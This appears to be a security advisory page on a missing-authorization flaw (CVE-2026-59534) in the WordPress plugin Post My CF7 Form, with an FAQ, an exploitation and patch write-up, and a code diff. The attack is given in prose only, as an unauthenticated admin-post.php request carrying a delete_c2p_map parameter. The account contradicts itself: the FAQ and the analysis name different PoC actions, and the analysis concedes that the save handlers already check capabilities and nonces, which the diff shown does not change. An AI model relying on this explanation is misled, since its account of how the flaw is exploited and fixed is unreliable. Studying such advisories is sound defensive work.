What is CVE-2026-59534?

CVE-2026-59534 is a missing authorization vulnerability in the Post My CF7 Form plugin for WordPress, affecting versions up to and including 6.2.0. It allows unauthenticated attackers to delete form-to-post mappings and associated saved submission data, potentially causing significant data loss.

How does the vulnerability work?

The vulnerability exists because the plugin’s quick-edit template files lack capability checks. An attacker can send a crafted POST request to admin-post.php without authentication, triggering the save_quick_edit or save_quick_custompost functions. By supplying a delete_c2p_map parameter, they can delete mappings and submissions.

Who is affected by this vulnerability?

Any WordPress site using the Post My CF7 Form plugin version 6.2.0 or earlier is affected. Sites that rely on Contact Form 7 and store form submissions via this plugin are particularly at risk.

How can I check if my site is vulnerable?

Check the plugin version in the WordPress admin under Plugins. If it is 6.2.0 or lower, the site is vulnerable. You can also review the plugin’s changelog or compare the code with the patched version 7.0.0.

What is the CVSS score and severity level?

The vulnerability has a CVSS score of 5.3, which is rated as Medium severity. This indicates a moderate risk, but the potential for data loss makes it important to address promptly.

What is the root cause of the vulnerability?

The root cause is the absence of capability checks in the partial template files c2p-quick-edit.php and cf7-2-custom-post-quick-edit.php. These files output the quick-edit interface without verifying that the user has the manage_options capability, allowing unauthenticated access.

How does the proof of concept (PoC) demonstrate the issue?

The PoC sends a POST request to admin-post.php with the action save_cf72post_metabox and a delete_c2p_map parameter containing a form ID. Without authentication, this triggers the vulnerable function and deletes the mapping and submissions for that form, proving the missing authorization.

What is the impact of successful exploitation?

An attacker can delete form-to-post mappings and all saved submission data for any Contact Form 7 form. This can lead to permanent data loss, disruption of form functionality, and potential operational and financial damage.

How is the vulnerability patched?

The patch adds a capability check at the top of the partial template files using current_user_can() with a filter defaulting to manage_options. If the user lacks the capability, the function returns early, preventing unauthorized access. Redundant checks in other files were also removed.

What should I do to fix or mitigate the issue?

Immediately update the Post My CF7 Form plugin to version 7.0.0 or later. If you cannot update, consider disabling the plugin temporarily or restricting access to admin-post.php via firewall rules. Also, review and back up your form data.

Are there any workarounds if I cannot update immediately?

As a temporary measure, you can add a custom function to your theme’s functions.php that checks user capabilities before the plugin’s quick-edit functions execute. However, updating the plugin is the only reliable fix.

How can I protect my site from similar vulnerabilities?

Regularly update all plugins and themes, use a web application firewall, and monitor for unusual activity. Additionally, follow the principle of least privilege by ensuring only trusted users have admin access.

Published : August 12, 2026

CVE-2026-59534: Post My CF7 Form <= 6.2.0 Missing Authorization PoC, Patch Analysis & Rule

CVE ID CVE-2026-59534

Plugin post-my-contact-form-7

Severity Medium (CVSS 5.3)

CWE 862

Vulnerable Version 6.2.0

Patched Version 7.0.0

Disclosed July 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-59534: The Post My CF7 Form plugin for WordPress, version 6.2.0 and earlier, contains a missing authorization vulnerability that allows unauthenticated attackers to modify form-to-post mappings and delete saved submission data. The vulnerability has a CVSS score of 5.3 (MEDIUM). Atomic Edge research has identified that the root cause lies in the handling of quick-edit operations in the admin interface.

Root Cause: The vulnerability stems from missing capability checks in the partial template files used for the WordPress quick-edit functionality. The vulnerable code is in ‘post-my-contact-form-7/admin/partials/c2p-quick-edit.php’ and ‘post-my-contact-form-7/admin/partials/cf7-2-custom-post-quick-edit.php’. Before the patch, these files directly output the quick-edit interface without verifying that the current user has the necessary ‘manage_options’ capability. While the functions ‘save_quick_edit’ and ‘save_quick_custompost’ in ‘class-cf7-2-post-admin.php’ do contain a capability check, the permission validation is missing at the template level where the nonce field is output and the interface is displayed.

Exploitation: An attacker can exploit this vulnerability by sending a crafted POST request directly to the WordPress admin ‘admin-post.php’ endpoint, which handles the quick-edit save operations. The request would not require any authentication, allowing the attacker to invoke the ‘save_quick_edit’ or ‘save_quick_custompost’ functions. By supplying the ‘delete_c2p_map’ parameter with the ID of a target form, the attacker can force the plugin to delete the mapping and all associated saved submissions for that form. The nonce check is insufficient as a security boundary since a missing nonce only causes the function to return early, but the attacker does not need a nonce if the goal is to trigger unauthorized actions via the missing capability check.

Patch Analysis: The patch addresses the missing authorization by adding a capability check directly within the partial template files. In ‘c2p-quick-edit.php’ and ‘cf7-2-custom-post-quick-edit.php’, a check is now performed at the top using current_user_can( $capability ) with the ‘cf7_2_post_mapping_capability’ filter, which defaults to ‘manage_options’. If unauthorized, the function returns early and the quick-edit interface is not rendered or processed. This ensures that only authenticated users with the required capability can access these functions. Additionally, the patch removes the redundant capability checks from ‘modify_cf72post_custom_column’ and ‘modify_cf7_list_columns’ in ‘class-cf7-2-post-admin.php’, centralizing the authorization in the partials.

Impact: Successful exploitation of this vulnerability allows an unauthenticated attacker to perform a destructive action. Specifically, they can delete the form-to-post mapping configuration for any Contact Form 7 form and permanently erase all related saved submissions. This can result in significant data loss and disruption of the site’s form submission functionality. The financial and operational impact can be substantial, especially for sites that rely on form data for business processes.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/post-my-contact-form-7/admin/class-cf7-2-post-admin.php
+++ b/post-my-contact-form-7/admin/class-cf7-2-post-admin.php
@@ -70,7 +70,7 @@
 			deactivate_plugins( 'post-my-contact-form-7/cf7-2-post.php' );
 			wp_die( '<p><strong>Post My CF7 Form</strong> requires <strong>Contact Form 7</strong> plugin, and has therefore been deactivated!</p><a href="' . esc_url( network_admin_url( 'plugins.php' ) ) . '">Return to Plugins</a></a>' );
 		}
-		/** NB @since 5.0.0 hook the smart grid form saving action to fix double save_post hook call */
+		// NB: since 5.0.0 hook the smart grid form saving action to fix double save_post hook call.
 		if ( is_plugin_active( 'cf7-grid-layout/cf7-grid-layout.php' ) ) {
 			add_action( 'cf7sg_save_post', array( $this, 'save_post_mapping' ), 10 );
 		} else {
@@ -101,7 +101,7 @@
 		}

 		$screen = get_current_screen();
-		if ( 'toplevel_page_wpcf7' == $hook ||
+		if ( 'toplevel_page_wpcf7' === $hook ||
 		( WPCF7_ContactForm::post_type === $screen->post_type && 'post' === $screen->base ) ) {

 			$plugin_dir = plugin_dir_url( __DIR__ );
@@ -112,10 +112,10 @@
 			wp_enqueue_style( $this->plugin_name, plugin_dir_url( __FILE__ ) . 'css/cf7-2-post-mapping.css', array( 'dashicons' ), $this->version, 'all' );
 		}
 		if ( WPCF7_ContactForm::post_type === $screen->post_type && 'edit' === $screen->base ) {
-			wp_enqueue_style( $this->plugin_name, plugin_dir_url( __FILE__ ) . 'css/cf7-table.css', null, $this->version, 'all' );
-		}//
+			wp_enqueue_style( $this->plugin_name, plugin_dir_url( __FILE__ ) . 'css/cf7-table.css', array(), $this->version, 'all' );
+		}
 		$factory = c2p_get_factory();
-		if ( false != $factory->is_mapped_post_types( $screen->post_type, 'factory' ) ) {
+		if ( false !== $factory->is_mapped_post_types( $screen->post_type, 'factory' ) ) {
 			switch ( $screen->base ) {
 				case 'post':
 					wp_enqueue_style( 'cf72-custompost-css', plugin_dir_url( __FILE__ ) . 'css/cf72-custompost.css', array(), $this->version, 'all' );
@@ -138,7 +138,7 @@
 		switch ( true ) {
 			case ( 'toplevel_page_wpcf7' === $hook || ( WPCF7_ContactForm::post_type === $screen->post_type && 'post' === $screen->base ) ): // form editor.
 				$plugin_dir = plugin_dir_url( __DIR__ );
-				/** NB @since 5.5.1 fix tag name scanning.*/
+				// NB: since 5.5.1 fix tag name scanning.
 				$tags = array();
 				if ( class_exists( 'WPCF7_FormTagsManager' ) ) {
 					$form_tags_manager = WPCF7_FormTagsManager::get_instance();
@@ -149,7 +149,7 @@
 					);
 					$tags              = array_filter(
 						$tags,
-						function( $t ) {
+						function ( $t ) {
 							return ! strpos( $t, '*' );
 						}
 					);
@@ -157,7 +157,6 @@

 				wp_enqueue_script( $this->plugin_name, plugin_dir_url( __FILE__ ) . 'js/c2p-edit-panel.js', array( 'jquery', 'postbox' ), $this->version, true );
 				wp_enqueue_script( 'jquery-toggles', $plugin_dir . 'assets/jquery-toggles/toggles.min.js', array( 'jquery' ), $this->version, true );
-				wp_enqueue_script( 'jquery-clibboard', $plugin_dir . 'assets/clipboard/clipboard.min.js', array( 'jquery' ), $this->version, true );
 				wp_localize_script(
 					$this->plugin_name,
 					'c2pLocal',
@@ -167,20 +166,19 @@
 						'paste'      => __( 'Paste helper code into your theme functions.php file.', 'post-my-contact-form-7' ),
 						'draft'      => __( 'draft', 'post-my-contact-form-7' ),
 						'live'       => __( 'live', 'post-my-contact-form-7' ),
-						'warn'       => __( 'CF7 2 POST WARNING: Your form is live! Changing its fields and mapping may create inconsistent data entries.' ),
+						'warn'       => __( 'CF7 2 POST WARNING: Your form is live! Changing its fields and mapping may create inconsistent data entries.', 'post-my-contact-form-7' ),
 						'wpcf7_tags' => $tags,
 					)
 				);
-				wp_enqueue_script( 'hybrid-select', $plugin_dir . 'assets/hybrid-html-dropdown/hybrid-dropdown.min.js', null, $this->version, true );
+				wp_enqueue_script( 'hybrid-select', $plugin_dir . 'assets/hybrid-html-dropdown/hybrid-dropdown.min.js', array(), $this->version, true );
 				break;
 			case ( WPCF7_ContactForm::post_type === $screen->post_type && 'edit' === $screen->base ): // form post table.
 				$plugin_dir = plugin_dir_url( __DIR__ );
-				wp_enqueue_script( 'jquery-clibboard', $plugin_dir . 'assets/clipboard/clipboard.min.js', array( 'jquery' ), $this->version, true );
 				wp_enqueue_script( 'quickedit-c2p-js', $plugin_dir . 'admin/js/cf7-2-post-quick-edit.js', array( 'jquery-clibboard' ), $this->version, true );
 				break;
 		}
 		$factory = c2p_get_factory();
-		if ( false != $factory->is_mapped_post_types( $screen->post_type ) ) {
+		if ( false !== $factory->is_mapped_post_types( $screen->post_type ) ) {
 			switch ( $screen->base ) {
 				case 'edit':
 					wp_enqueue_script( 'cf72custompost-quick-edit-js', plugin_dir_url( __FILE__ ) . 'js/cf7-2-custom-post-quick-edit.js', array( 'jquery' ), $this->version, true );
@@ -209,7 +207,7 @@
 	 */
 	public function add_helper_metabox() {
 		add_meta_box(
-			'helper', // Meta box ID.
+			'c2p-hook-helper', // Meta box ID.
 			__( 'CF7 2 Post:<br/> Actions & Filters', 'post-my-contact-form-7' ), // Meta box Title.
 			array( $this, 'show_helper_metabox' ), // Callback defining the plugin's innards.
 			'wpcf7_contact_form', // Screen to which to add the meta box.
@@ -255,7 +253,6 @@
 	public function modify_cf72post_columns( $columns ) {
 		$capability = apply_filters( 'cf7_2_post_view_submit_capability', 'manage_options' );
 		if ( current_user_can( $capability ) ) {
-			// $columns['mapped_post']= __( 'Post Type', 'post-my-contact-form-7' ).
 			$columns['cf7_2_post'] = __( 'Submitted', 'post-my-contact-form-7' );
 		}
 		return $columns;
@@ -271,7 +268,6 @@
 	public function modify_cf7_list_columns( $columns ) {
 		$capability = apply_filters( 'cf7_2_post_mapping_capability', 'manage_options' );
 		if ( current_user_can( $capability ) ) {
-			// $columns['mapped_post']= __( 'Post Type', 'post-my-contact-form-7' );
 			$columns['map_cf7_2_post'] = __( 'Form to post', 'post-my-contact-form-7' );
 		}
 		return $columns;
@@ -333,10 +329,6 @@
 		}
 		switch ( $post_type ) {
 			case 'wpcf7_contact_form':
-				$capability = apply_filters( 'cf7_2_post_mapping_capability', 'manage_options' );
-				if ( ! current_user_can( $capability ) ) {
-					return;
-				}
 				switch ( $column_name ) {
 					case 'map_cf7_2_post':
 						include_once plugin_dir_path( __FILE__ ) . 'partials/c2p-quick-edit.php';
@@ -346,10 +338,6 @@
 			default:
 				switch ( $column_name ) {
 					case 'cf7_2_post':
-						$capability = apply_filters( 'cf7_2_post_mapping_capability', 'manage_options' );
-						if ( ! current_user_can( $capability ) ) {
-							  return;
-						}
 						include_once plugin_dir_path( __FILE__ ) . 'partials/cf7-2-custom-post-quick-edit.php';
 						break;
 				}
@@ -363,7 +351,7 @@
 	 * @param string $post_id post id.
 	 */
 	public function save_quick_edit( $post_id ) {
-		if ( ! isset( $_POST['c2p_nonce'] ) || ! wp_verify_nonce( sanitize_key( $_POST['c2p_nonce'] ), 'c2p_quickedit_nonce' ) ) {
+		if ( ! isset( $_POST['c2p_nonce'] ) || ! wp_verify_nonce( sanitize_key( wp_unslash( $_POST['c2p_nonce'] ) ), 'c2p_quickedit_nonce' ) ) {
 			return;
 		}

@@ -371,9 +359,9 @@
 		if ( ! current_user_can( $capability ) ) {
 			return;
 		}
-		if ( isset( $_POST['delete_c2p_map'] ) && $_POST['delete_c2p_map'] == $post_id ) {
+		if ( isset( $_POST['delete_c2p_map'] ) && (int) $post_id === absint( wp_unslash( $_POST['delete_c2p_map'] ) ) ) {
 			$factory = c2p_get_factory();
-			if ( ! $factory->is_filter( $post_id ) ) { /** NB @since 5.4.3 */
+			if ( ! $factory->is_filter( $post_id ) ) { // NB: since 5.4.3.
 				$mapper = $factory->get_post_mapper( $post_id );
 				$mapper->delete_mapping();
 			} else {
@@ -391,7 +379,7 @@
 	 * @param WP_Object $post     post object.
 	 **/
 	public function save_quick_custompost( $post_id, $post ) {
-		if ( ! isset( $_POST['c2p_nonce'] ) || ! wp_verify_nonce( sanitize_key( $_POST['c2p_nonce'] ), 'c2p_quickedit_nonce' ) ) {
+		if ( ! isset( $_POST['c2p_nonce'] ) || ! wp_verify_nonce( sanitize_key( wp_unslash( $_POST['c2p_nonce'] ) ), 'c2p_quickedit_nonce' ) ) {
 			return;
 		}
 		if ( isset( $_POST['cf7_2_post_submit'] ) ) {
@@ -408,28 +396,26 @@
 	 * @param string $post_id post ID.
 	 */
 	public function save_post_mapping( $post_id ) {
-		// wpg_debug($_POST, "save post ").
-		if ( ! isset( $_POST['cf7_2_post_nonce'] ) || ! wp_verify_nonce( sanitize_key( $_POST['cf7_2_post_nonce'] ), 'cf7_2_post_mapping' ) ) {
+		if ( ! isset( $_POST['cf7_2_post_nonce'] ) || ! wp_verify_nonce( sanitize_key( wp_unslash( $_POST['cf7_2_post_nonce'] ) ), 'cf7_2_post_mapping' ) ) {
 			return;
 		}
 		if ( isset( $_POST['c2p_active_tab'] ) ) {
-			update_option( '_c2p_active_tab', sanitize_key( $_POST['c2p_active_tab'] ) );
+			update_option( '_c2p_active_tab', sanitize_key( wp_unslash( $_POST['c2p_active_tab'] ) ) );
 		}
-		// check if any changes on the form.
+		// Check if any changes on the form.
 		if ( isset( $_POST['mapped_post_type_source'] ) ) {
-			switch ( sanitize_key( $_POST['mapped_post_type_source'] ) ) {
+			switch ( sanitize_key( wp_unslash( $_POST['mapped_post_type_source'] ) ) ) {
 				case 'system':
 				case 'factory':
-					if ( ( isset( $_POST['mapped_post_default'] ) && sanitize_key( $_POST['mapped_post_default'] ) ) ||
-					( isset( $_POST['c2p_mapping_changes'] ) && sanitize_key( $_POST['c2p_mapping_changes'] ) ) ) {
-						// wpg_debug('saving mapping....').
+					if ( ( isset( $_POST['mapped_post_default'] ) && sanitize_key( wp_unslash( $_POST['mapped_post_default'] ) ) ) ||
+					( isset( $_POST['c2p_mapping_changes'] ) && sanitize_key( wp_unslash( $_POST['c2p_mapping_changes'] ) ) ) ) {
 						$factory = c2p_get_factory();
 						$factory->save( $post_id );
 					}
 					break;
 				case 'filter':
 					if ( isset( $_POST['mapped_post_map'] ) ) {
-						update_post_meta( $post_id, '_cf7_2_post-map', sanitize_key( $_POST['mapped_post_map'] ) );
+						update_post_meta( $post_id, '_cf7_2_post-map', sanitize_key( wp_unslash( $_POST['mapped_post_map'] ) ) );
 					}
 					break;
 			}
@@ -491,20 +477,21 @@
 	public function cf7_shortcode_tags() {
 		if ( isset( $_GET['post'] ) ) {
 			$factory = c2p_get_factory();
-			if ( ! $factory->is_mapped( sanitize_key( $_GET['post'] ) ) ) {
+			if ( ! $factory->is_mapped( absint( wp_unslash( $_GET['post'] ) ) ) ) {
 				return;
 			}
-			// only display save button for mapped forms.
+			// Only display save button for mapped forms.
 			if ( class_exists( 'WPCF7_TagGenerator' ) ) {
 				$tag_generator = WPCF7_TagGenerator::get_instance();
 				$tag_generator->add(
-					'save', // tag id.
-					__( 'save', 'post-my-contact-form-7' ), // tag button label.
-					array( $this, 'save_tag_generator' ), // callback.
-					array(
-						'nameless' => 1,  // option name less = true, ie no name for this tag.
-						'version' => 2 )
-					);
+					'save', // Tag id.
+					__( 'save', 'post-my-contact-form-7' ), // Tag button label.
+					array( $this, 'save_tag_generator' ), // Callback.
+					array(
+						'nameless' => 1, // Option name-less = true, ie no name for this tag.
+						'version'  => 2,
+					)
+				);
 			}
 		}
 	}
@@ -548,7 +535,7 @@
 			// enqueue the required script.
 			add_action(
 				'admin_enqueue_scripts',
-				function( $hook ) use ( $post_type ) {
+				function ( $hook ) use ( $post_type ) {
 					if ( 'post.php' === $hook ) {
 						$screen = get_current_screen();
 						if ( $post_type === $screen->post_type ) {
@@ -586,7 +573,6 @@
 		$submitted = get_post_meta( $post->ID, '_cf7_2_post_form_submitted', true );
 		$checked   = ' disabled';
 		$hidden    = ' disabled';
-		// wpg_debug("post id: {$post->ID}, s $submitted").
 		switch ( $submitted ) {
 			case 'yes':
 				$checked = ' checked';
@@ -614,12 +600,12 @@
 	 * @param string $post_id post id.
 	 */
 	public function save_cf72post_metabox( $post_id ) {
-		if ( ! isset( $_POST['_cf72post_metabox_nonce'] ) || ! wp_verify_nonce( sanitize_key( $_POST['_cf72post_metabox_nonce'] ), "cf72post_metabox_{$post_id}" ) ) {
+		if ( ! isset( $_POST['_cf72post_metabox_nonce'] ) || ! wp_verify_nonce( sanitize_key( wp_unslash( $_POST['_cf72post_metabox_nonce'] ) ), "cf72post_metabox_{$post_id}" ) ) {
 			return;
 		}
 		if ( isset( $_POST['cf7_2_post_submitted'] ) ) {
-			$value = sanitize_key( $_POST['cf7_2_post_submitted'] );
-			update_post_meta( $post_id, '_cf7_2_post_form_submitted', $value ); // form is in saved mode.
+			$value = sanitize_key( wp_unslash( $_POST['cf7_2_post_submitted'] ) );
+			update_post_meta( $post_id, '_cf7_2_post_form_submitted', $value ); // Form is in saved mode.
 		}
 	}
 	/**
@@ -650,7 +636,7 @@
 		$path        = apply_filters( 'cf7_2_post_mapped_post_metabox', '', $post->post_type );
 		$factory     = c2p_get_factory();
 		$cf7_post_id = $factory->is_mapped_post_types( $post->post_type, 'factory' );
-		if ( false == $cf7_post_id ) {
+		if ( false === $cf7_post_id ) {
 			echo '<em>This post is not mapped to a cf7 form</em>';
 			return;
 		}
@@ -688,10 +674,9 @@
 	 * @return     string    $p2     .
 	 **/
 	public function email_tags( $mailtags ) {
-		// wpg_debug($mailtags, 'mail tags ').
 		$cf7_form    = WPCF7_ContactForm::get_current();
 		$cf7_post_id = $cf7_form->id();
-		// is this form mapped yet?
+		// Is this form mapped yet?
 		$factory = c2p_get_factory();
 		if ( $factory->is_mapped( $cf7_post_id ) ) {
 			$mailtags[] = 'cf7_2_post-edit';
@@ -726,8 +711,8 @@
 		$factory     = c2p_get_factory();
 		$is_filter   = false;
 		if ( isset( $_GET['post'] ) ) {
-			$cf7_post_id = sanitize_key( $_GET['post'] );
-			$cf7_key     = c2p_get_form_key( $cf7_post_id );
+			$cf7_post_id = absint( wp_unslash( $_GET['post'] ) );
+			$cf7_key     = cf7sg_get_form_key( $cf7_post_id );
 			$is_filter   = ( $factory->is_filter( $cf7_post_id ) || apply_filters( 'cf7_2_post_save_with_filter', false, $cf7_key ) );
 		}

@@ -790,4 +775,4 @@
 			include plugin_dir_path( __FILE__ ) . '/partials/cf7-2-post-update-warning.php';
 		}
 	}
-}
+}
 No newline at end of file
--- a/post-my-contact-form-7/admin/partials/c2p-quick-edit.php
+++ b/post-my-contact-form-7/admin/partials/c2p-quick-edit.php
@@ -1,8 +1,9 @@
 <?php
 /**
- * Display quickedit options in table of wpcf7 form posts.
+ * Display quick edit options for CF7 to Post mapping in the post table.
  *
- * @since 5.3.0
+ * @link       https://profiles.wordpress.org/aurovrata/
+ * @since      5.3.0
  * @package    Cf7_2_Post
  * @subpackage Cf7_2_Post/admin/partials
  */
@@ -11,7 +12,15 @@
 	exit; // Exit if accessed directly.
 }

+// Verify user capabilities.
+$capability = apply_filters( 'cf7_2_post_mapping_capability', 'manage_options' );
+if ( ! current_user_can( $capability ) ) {
+	return;
+}
+
+// Add nonce for security.
 wp_nonce_field( 'c2p_quickedit_nonce', 'c2p_nonce' );
+
 ?>
 <fieldset class="inline-edit-col-right">
 	<div class="inline-edit-col">
@@ -45,14 +54,14 @@
 	if('$cve_proof'!=$post_type) return $post_query;
 	//modify the query such as to delete posts by a certain author or a perticular date...
 	return $post_query;
-}" href="javascript:void(0);"></a>
+}" href="#"></a>
 <?php
 echo wp_kses(
-	__( 'WARNING: this will also delete all saved submissions!  Use this <span>filter</span> in your <code>functions.php</code> file to control the deletion of saved submissions.', 'post-my-cf7-form' ),
+	__( 'WARNING: this will also delete all saved submissions!  Use this <span>filter</span> in your <code>functions.php</code> file to control the deletion of saved submissions.', 'post-my-contact-form-7' ),
 	array(
 		'span' => array(),
 		'code' => array(),
-	),
+	)
 );
 ?>
 <span class="popup display-none">Click to Copy!</span></div>
@@ -60,4 +69,4 @@
 			</label>
 		</div>
 	</div>
-</fieldset>
+</fieldset>
 No newline at end of file
--- a/post-my-contact-form-7/admin/partials/cf7-2-custom-post-metabox.php
+++ b/post-my-contact-form-7/admin/partials/cf7-2-custom-post-metabox.php
@@ -2,7 +2,8 @@
 /**
  * Display quickedit options in table of wpcf7 form posts.
  *
- * @since 5.3.0
+ * @link       https://profiles.wordpress.org/aurovrata/
+ * @since      5.3.0
  * @package    Cf7_2_Post
  * @subpackage Cf7_2_Post/admin/partials
  */
@@ -11,53 +12,122 @@
 	exit; // Exit if accessed directly.
 }

-if ( ! empty( $mapped_fields ) ) {
+// Ensure required variables exist.
+$mapped_fields = isset( $mapped_fields ) ? $mapped_fields : array();
+$post          = isset( $post ) ? $post : get_post();
+
+if ( empty( $post ) ) {
+	return;
+}
+
+// Add nonce for security: added prior to calling this file in the admin class.
+
+if ( is_array( $mapped_fields ) ) {
 	foreach ( $mapped_fields as $cf7_field => $post_field ) {
+		if( 0 === strpos( $cf7_field, 'cf7_2_post_filter-' ) ) continue; //skip filter mappings.
 		?>
-<div class="cf72post-field">
-	<label><?php echo esc_html( $cf7_field ); ?></label>
-		<?php
-		if ( false && current_user_can( 'edit_others_posts', $post->ID ) ) :
-			?>
-		<input type="text" class="field-value" name="<?php echo esc_attr( $post_field ); ?>" value="<?php echo esc_attr( get_post_meta( $post->ID, $post_field, true ) ); ?>" />
-			<?php
-		else :
-			$value = get_post_meta( $post->ID, $post_field, true );
-			if ( is_array( $value ) ) {
-				echo '<div>';
-				// wpg_debug($value, $cf7_field).
-				cf72post_output_array_field( $value );
-				echo '</div>';
-			} else {
-				cf72post_output_field( $value );
-			}
-	endif;
-		?>
-	</div>
+		<div class="cf72post-field">
+			<label for="cf72post-field-<?php echo esc_attr( $post_field ); ?>" class="cf72post-field-label">
+				<?php echo esc_html( $cf7_field ); ?>
+			</label>
+			<div class="field-value-display">
+				<?php
+				$value = get_post_meta( $post->ID, $post_field, true );
+				cf72post_render_meta_field_value( $value, $post_field );
+				?>
+			</div>
+		</div>
 		<?php
 	}
 }
+
 /**
- * Echo fields spans
+ * Render a single meta field value.
  *
- * @since 1.0.0
- * @param string $value field value.
+ * @since 5.3.0
+ *
+ * @param mixed  $value      The field value to render.
+ * @param string $field_name The field name (optional for context).
+ * @return void
  */
-function cf72post_output_field( $value ) {
+function cf72post_render_meta_field_value( $value, $field_name = '' ) {
+	if ( is_array( $value ) ) {
+		cf72post_render_array_field( $value, $field_name );
+	} else {
+		cf72post_render_single_field( $value );
+	}
+}
+
+/**
+ * Render a single field value as a span.
+ *
+ * @since 5.3.0
+ *
+ * @param string $value The field value.
+ * @return void
+ */
+function cf72post_render_single_field( $value ) {
 	echo '<span class="field-value">' . esc_html( $value ) . '</span>';
 }
+
 /**
- * Echo fields spans
+ * Render an array field value recursively.
  *
- * @since 1.0.0
- * @param mixed $value field value or array of values.
+ * @since 5.3.0
+ *
+ * @param mixed  $value      The field value (may be array or string).
+ * @param string $field_name The field name (optional for context).
+ * @param string $separator  The separator for array values.
+ * @return void
  */
-function cf72post_output_array_field( $value ) {
-	if ( is_array( reset( $value ) ) ) {
-		foreach ( $value as $r => $row ) {
-			cf72post_output_array_field( $row, '</br>' );
+function cf72post_render_array_field( $value, $field_name = '', $separator = ', ' ) {
+	if ( ! is_array( $value ) ) {
+		cf72post_render_single_field( $value );
+		return;
+	}
+
+	// Check if this is a multi-dimensional array.
+	$first_element = reset( $value );
+	if ( is_array( $first_element ) ) {
+		// Multi-dimensional array - render as nested list.
+		echo '<ul class="cf72post-nested-field">';
+		foreach ( $value as $index => $row ) {
+			echo '<li class="cf72post-nested-item">';
+			cf72post_render_array_field( $row, $field_name . "[{$index}]" );
+			echo '</li>';
 		}
+		echo '</ul>';
 	} else {
-		cf72post_output_field( implode( ',', $value ) );
+		// Single dimension array - render as comma-separated list.
+		$escaped_values = array_map( 'esc_html', $value );
+		echo '<span class="field-value-array">' . esc_html( implode( $separator, $escaped_values ) ) . '</span>';
 	}
 }
+
+/**
+ * Backward compatibility function for older code.
+ *
+ * @since 1.0.0
+ * @deprecated 5.3.0 Use cf72post_render_meta_field_value() instead.
+ *
+ * @param string $value The field value.
+ * @return void
+ */
+function cf72post_output_field( $value ) {
+	_deprecated_function( __FUNCTION__, '5.3.0', 'cf72post_render_single_field' );
+	cf72post_render_single_field( $value );
+}
+
+/**
+ * Backward compatibility function for older code.
+ *
+ * @since 1.0.0
+ * @deprecated 5.3.0 Use cf72post_render_array_field() instead.
+ *
+ * @param mixed $value The field value or array of values.
+ * @return void
+ */
+function cf72post_output_array_field( $value ) {
+	_deprecated_function( __FUNCTION__, '5.3.0', 'cf72post_render_array_field' );
+	cf72post_render_array_field( $value );
+}
 No newline at end of file
--- a/post-my-contact-form-7/admin/partials/cf7-2-custom-post-quick-edit.php
+++ b/post-my-contact-form-7/admin/partials/cf7-2-custom-post-quick-edit.php
@@ -10,10 +10,31 @@
 if ( ! defined( 'ABSPATH' ) ) {
 	exit; // Exit if accessed directly.
 }
+
+// Only proceed if user can edit posts, allow fine grain control via filter.
+$capability = apply_filters( 'cf7_2_post_mapping_capability', 'manage_options' );
+if ( ! current_user_can( $capability ) ) {
+	return;
+}
+
+// Add nonce for security: c2p_nonce is already added prior to calling this file.
 ?>
 <fieldset class="inline-edit-col-left">
+	<legend class="inline-edit-legend"><?php esc_html_e( 'CF7 to Post Mapping', 'post-my-contact-form-7' ); ?></legend>
 	<div class="inline-edit-col">
-		<label><span class="title"><?php echo esc_html( __( 'CF7 >> Post', 'post-my-contact-form-7' ) ); ?></span><input class="cf72post-submit" type="checkbox" name="cf7_2_post_submit"/><?php echo esc_html( __( 'Form Submitted', 'post-my-contact-form-7' ) ); ?></label>
-			<p><em><?php echo esc_html( __( 'Uncheck to reload post in form', 'post-my-contact-form-7' ) ); ?></em></p>
+		<label>
+			<span class="title"><?php esc_html_e( 'CF7 >> Post', 'post-my-contact-form-7' ); ?></span>
+			<input
+				class="cf72post-submit"
+				type="checkbox"
+				name="cf7_2_post_submit"
+				value="1"
+				id="cf72post-submit-checkbox"
+			/>
+			<?php esc_html_e( 'Form Submitted', 'post-my-contact-form-7' ); ?>
+		</label>
+		<p>
+			<em><?php esc_html_e( 'Uncheck to reload post in form', 'post-my-contact-form-7' ); ?></em>
+		</p>
 	</div>
-</fieldset>
+</fieldset>
 No newline at end of file
--- a/post-my-contact-form-7/admin/partials/cf7-2-post-admin-panel-display.php
+++ b/post-my-contact-form-7/admin/partials/cf7-2-post-admin-panel-display.php
@@ -45,13 +45,12 @@
 		<code><?php echo esc_html( $mapped_post_type ); ?></code>
 	</span>
 </h1>
-<!-- $form = get_post($cf7_post_id); ?> -->
 <input type="hidden" id="c2p-cf7-key" value="<?php echo esc_attr( $post_mapper->cf7_key ); ?>"/>
 <input type="hidden" id="c2p-mapping-changed" name="c2p_mapping_changes" value="0"/>
 <input type="hidden" id="c2p-active-tab" name="c2p_active_tab" value="0"/>
 <input type="hidden" id="c2p-mapping-status" name="mapped_post_map" value="<?php echo esc_attr( $post_mapper->get( 'map' ) ); ?>"/>
 <input type="hidden" name="mapped_post_default" value="<?php echo esc_attr( $post_mapper->get( 'default' ) ); ?>"/>
-<input name="mapped_post_type"  id="mapped-post-type" value="<?php echo esc_attr( $post_mapper->get( 'type' ) ); ?>" type="hidden">
+<input name="mapped_post_type" id="mapped-post-type" value="<?php echo esc_attr( $post_mapper->get( 'type' ) ); ?>" type="hidden">

 <?php wp_nonce_field( 'cf7_2_post_mapping', 'cf7_2_post_nonce', false, true ); ?>

@@ -66,13 +65,13 @@
 	<div>
 		<label class="post_type_labels" for="post-type-source"><?php echo esc_html( __( 'Post Type:', 'post-my-contact-form-7' ) ); ?></label>
 		<span id="post-type-display">
-			<select name="mapped_post_type_source" id="post-type-source" class="select-hybrid" >
-				<option value="factory" <?php echo esc_html( ( 'factory' === $source ) ? ' selected="true"' : '' ); ?>><?php echo esc_html( __( 'New Post', 'post-my-contact-form-7' ) ); ?></option>
-				<option value="system" <?php echo esc_html( ( 'system' === $source ) ? ' selected="true"' : '' ); ?>><?php echo esc_html( __( 'Existing Post', 'post-my-contact-form-7' ) ); ?></option>
+			<select name="mapped_post_type_source" id="post-type-source" class="select-hybrid">
+				<option value="factory" <?php echo ( 'factory' === $source ) ? 'selected="true"' : ''; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- hardcoded attribute fragment, not user input. ?>><?php echo esc_html( __( 'New Post', 'post-my-contact-form-7' ) ); ?></option>
+				<option value="system" <?php echo ( 'system' === $source ) ? 'selected="true"' : ''; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- hardcoded attribute fragment, not user input. ?>><?php echo esc_html( __( 'Existing Post', 'post-my-contact-form-7' ) ); ?></option>
 			</select>
 		</span>
 	</div>
